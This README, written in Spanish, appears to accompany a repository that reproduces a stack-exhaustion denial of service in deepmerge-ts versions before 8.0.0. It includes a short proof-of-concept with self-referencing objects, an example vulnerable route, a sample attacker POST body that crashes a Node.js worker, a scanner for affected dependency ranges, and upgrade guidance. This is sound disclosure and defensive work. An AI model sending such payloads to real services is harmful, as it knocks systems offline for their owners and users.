
Reproduce una denegación de servicio por agotamiento de pila en deepmerge-ts anterior a 8.0.0, documenta la explotación e incluye un escáner para rangos de dependencias vulnerables.
Reproduje un fallo de agotamiento de pila en las versiones de deepmerge-ts anteriores a 8.0.0.
La parte interesante es que el bloqueo no necesita un objeto anidado enorme. Proviene de la identidad del objeto. Si ambos valores que se fusionan se apuntan a sí mismos a través de la misma propiedad, la rutina de fusión sigue visitando el mismo par hasta que Node.js se queda sin espacio de pila.
Aviso: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 Gravedad: Alta Impacto: Disponibilidad
La mayoría de las pruebas de fusión usan datos JSON ordinarios:
{
user: {
name: "alice"
}
}
Ese tipo de datos es acíclico. Los objetos de JavaScript también pueden contener referencias a sí mismos o a otro objeto dentro del mismo grafo. Estos casos son fáciles de pasar por alto si la suite de pruebas solo usa datos de prueba JSON.
El grafo fallido más pequeño son dos objetos separados con la misma autorreferencia:
const left = {};
left.self = left;
const right = {};
right.self = right;
La fusión de registros recorre las claves enumerables, recopila los valores de cada clave y vuelve a llamar a la rutina de fusión para esos valores. En las versiones afectadas no hay comprobación de ciclos ni seguimiento de los pares de objetos ya vistos.
La clave self devuelve la ejecución al mismo estado:
deepmerge(left, right)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> RangeError: Maximum call stack size exceeded
El mismo comportamiento se puede alcanzar a través de deepmergeInto, deepmergeCustom y deepmergeIntoCustom cuando reciben el mismo tipo de grafo.
El paquete está fijado a la versión afectada 7.1.6 en package.json.
npm install
npm run poc
La prueba completa está en poc.mjs. Ejecuta ambas APIs públicas localmente y captura el RangeError esperado para que el resultado sea fácil de leer.
La parte importante del PoC es:
import { deepmerge } from "deepmerge-ts";
function recursiveRecord() {
const record = {};
record.self = record;
return record;
}
deepmerge(recursiveRecord(), recursiveRecord());
Salida esperada:
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded
El PoC devuelve éxito cuando se observa el comportamiento afectado. Si el paquete se actualiza y ambas llamadas se completan, imprime un resultado limpio y sale con el estado 1 porque el problema no se reprodujo.
No hay ningún payload JSON cíclico mágico. Un analizador JSON normal crea un grafo acíclico, por lo que esto no se activa simplemente enviando un cuerpo JSON muy profundo a:
deepmerge(defaults, req.body);
La aplicación necesita crear o preservar el ciclo antes de llamar a la función de fusión. Esto puede ocurrir en el código de hidratación de grafos, un deserializador que preserva referencias, la reutilización de objetos de caché o sesión, o lógica personalizada que enlaza registros entre sí.
Aquí hay un pequeño ejemplo de una integración vulnerable. La función hydrate convierte una bandera controlada por el usuario en una autorreferencia:
import { deepmerge } from "deepmerge-ts";
function hydrate(input) {
const object = { value: input.value };
if (input.self === true) object.self = object;
return object;
}
function mergeRequest(body) {
const left = hydrate(body.left);
const right = hydrate(body.right);
return deepmerge(left, right);
}
Si una ruta HTTP llama a mergeRequest, un atacante puede enviar:
POST /merge
Content-Type: application/json
{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}
Ahora ambos lados contienen una referencia self. Cuando la ruta llama a deepmerge(left, right), la biblioteca sigue left.self y right.self, recibe el mismo par de nuevo y recurre hasta que V8 lanza una excepción.
Una aplicación no tiene que usar esta función hydrate exacta. Las condiciones importantes son:
Si la ruta es pública y la excepción no se captura, una sola solicitud puede detener el worker de Node.js. Si un supervisor de procesos lo reinicia automáticamente, las solicitudes repetidas pueden mantener el servicio en un bucle de reinicio. Si se requiere autenticación, el atacante todavía necesita acceso a esa ruta.
Este es un problema de denegación de servicio. El fallo no proporciona ejecución de código, acceso a archivos ni una forma de leer la entrada de fusión de otra solicitud.
Esta distinción es importante al evaluar una aplicación real. El siguiente cuerpo de solicitud no es en sí mismo un ciclo:
{
"self": true
}
Solo se vuelve relevante si el código de la aplicación interpreta self: true como una referencia al objeto raíz, o si otro analizador restaura las referencias a objetos. El paquete debería manejar el grafo resultante de forma segura, pero la explotabilidad remota depende del código que rodea al paquete.
El impacto directo es la disponibilidad a través del agotamiento síncrono de la pila.
Dependiendo de la aplicación circundante, el resultado puede ser:
RangeErrorEste problema no tiene impacto de confidencialidad ni integridad por sí mismo. La gravedad aumenta cuando la ruta de fusión no está autenticada, es accesible desde Internet público o es reintentada automáticamente por otro servicio.
Añadí scanner.mjs para encontrar referencias de dependencias afectadas antes de ejecutar el PoC del bloqueo. Comprueba:
package.jsonpackage-lock.jsonnpm-shrinkwrap.jsonpnpm-lock.yamlEjecútalo contra un directorio de proyecto:
node scanner.mjs /path/to/project
Para CI u otras herramientas, usa la salida JSON:
node scanner.mjs /path/to/project --json
Ejemplo de resultado para este repositorio:
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6
El escáner sale con el estado 1 cuando encuentra una versión o rango afectado. Las URL de Git y otras fuentes que no son semver se marcan como REVIEW en lugar de tratarse silenciosamente como seguras.
La solución directa es actualizar a deepmerge-ts >= 8.0.0 y actualizar el lockfile.
npm install deepmerge-ts@^8.0.0
La aplicación también debería decidir cómo manejar la entrada recursiva. Las opciones razonables son:
Capturar el error es útil para la estabilidad del proceso, pero no elimina la denegación de servicio subyacente si un atacante puede repetir la solicitud. Actualizar la dependencia y manejar la entrada recursiva son las correcciones importantes.
Cambia la dependencia a 8.0.1, reinstala y ejecuta el mismo PoC:
npm install [email protected]
npm run poc
En la versión corregida ambas llamadas se completan y el script imprime:
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.
El PoC y el escáner de este repositorio se publican bajo la Licencia MIT.